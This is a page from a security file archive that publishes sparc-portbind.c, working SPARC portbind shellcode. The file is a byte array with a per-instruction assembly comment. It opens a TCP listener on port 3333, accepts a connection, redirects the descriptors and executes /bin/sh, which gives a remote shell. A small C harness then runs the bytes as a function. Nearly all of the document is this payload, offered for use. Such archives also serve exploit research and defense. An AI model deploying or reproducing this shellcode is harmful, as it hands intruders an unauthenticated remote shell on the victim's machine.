what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sparc-portbind.c

sparc-portbind.c
Posted Nov 20, 2005
Authored by lhall

Portbinding shellcode for Sparc.

tags | shellcode
SHA-256 | 82f4f156896f731a0acc2503673d75aa915445af4d59607f8244d69eb87717a9

sparc-portbind.c

Change Mirror Download

/*
* lhall@telegenetic.net
* portbind shellcode
* full description of how it was done and defines at
* https://www.telegenetic.net/sparc-shellcode.htm
*/


char shellcode[]=
"\x9A\x1A\x40\x09" /* xor %o1, %o1, %o5 */
"\x90\x10\x20\x02" /* mov PF_INET, %o0 */
"\x92\x10\x20\x02" /* mov SOCK_STREAM, %o1 */
"\x94\x10\x20\x06" /* mov IPPROTO_TCP, %o2 */
"\x96\x1A\x40\x09" /* xor %o1, %o1, %o3 */
"\x98\x22\x20\x01" /* sub %o0, 1, %o4 */
"\x82\x10\x20\xE6" /* mov SYS_SOCKET, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\xA0\x1B\x40\x08" /* xor %o5, %o0, %l0 */
"\xC0\x23\xBF\xF4" /* st %g0, [%sp - 0xc] */
"\xA2\x10\x2D\x05" /* mov 3333, %l1 */
"\xE2\x33\xBF\xF2" /* sth %l1, [%sp - 0xe] */
"\xA2\x10\x20\x02" /* mov AF_INET, %l1 */
"\xE2\x33\xBF\xF0" /* sth %l1, [%sp - 0x10] */
"\x92\x23\xA0\x10" /* sub %sp, 0x10, %o1 */
"\x94\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %o2 */
"\x82\x10\x20\xE8" /* mov SYS_BIND, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x90\x1B\x40\x10" /* xor %o5, %l0, %o0 */
"\x92\x1B\x40\x0C" /* xor %o5, %o4, %o1 */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */
"\x82\x10\x20\xE9" /* mov SYS_LISTEN, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\xA2\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %l1 */
"\xE2\x23\xBF\xDC" /* st %l1, [%sp - 0x24] */
"\x90\x1B\x40\x10" /* xor %o5, %l0, %o0 */
"\x92\x23\xA0\x20" /* sub %sp, 0x20, %o1 */
"\x94\x23\xA0\x24" /* sub %sp, 0x24, %o2 */
"\x96\x1B\x40\x0C" /* xor %o5, %o4, %o3 */
"\x82\x10\x20\xEA" /* mov SYS_ACCEPT, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\xA4\x1B\x40\x08" /* xor %o5, %o0, %l2 */
"\x90\x1B\x40\x0C" /* xor %o5, %o4, %o0 */
"\x82\x10\x20\x06" /* mov SYS_CLOSE, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */
"\x94\x02\x80\x0A" /* add %o2, %o2, %o2 */
"\x90\x1B\x40\x0A" /* xor %o5, %o2, %o0 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x92\x1A\x40\x09" /* xor %o1, %o1, %o1 */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */
"\x82\x10\x20\x3E" /* mov SYS_FCNTL, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */
"\x94\x1A\x40\x09" /* xor %o1, %o1, %o2 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x21\x0B\xD8\x9A" /* sethi %hi(0x2f626900), %l0 */
"\xA0\x14\x21\x6E" /* or %l0, %lo(0x16e), %l0 */
"\x23\x0B\xDC\xDA" /* sethi %hi(0x2f736800), %l1 */
"\xE0\x3B\xBF\xF0" /* std %l0, [%sp - 0x10] */
"\x90\x23\xA0\x10" /* sub %sp, 0x10, %o0 */
"\xD0\x23\xBF\xF8" /* st %o0, [%sp - 0x8] */
"\x92\x23\xA0\x08" /* sub %sp, 0x8, %o1 */
"\x94\x1A\x80\x0A" /* xor %o2, %o2, %o2 */
"\x82\x10\x20\x3B" /* mov SYS_EXECVE, %g1 */
"\x91\xD0\x20\x08"; /* ta KERNEL */

int
main (int argc, char **argv)
{
int (*ret)(); /* ret is a function pointer */
ret = (int(*)())shellcode; /* ret points to our shellcode */
/* shellcode is typecast as a function */
(int)(*ret)(); /* execute, as a function, shellcode[] */
exit(0); /* exit() */
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close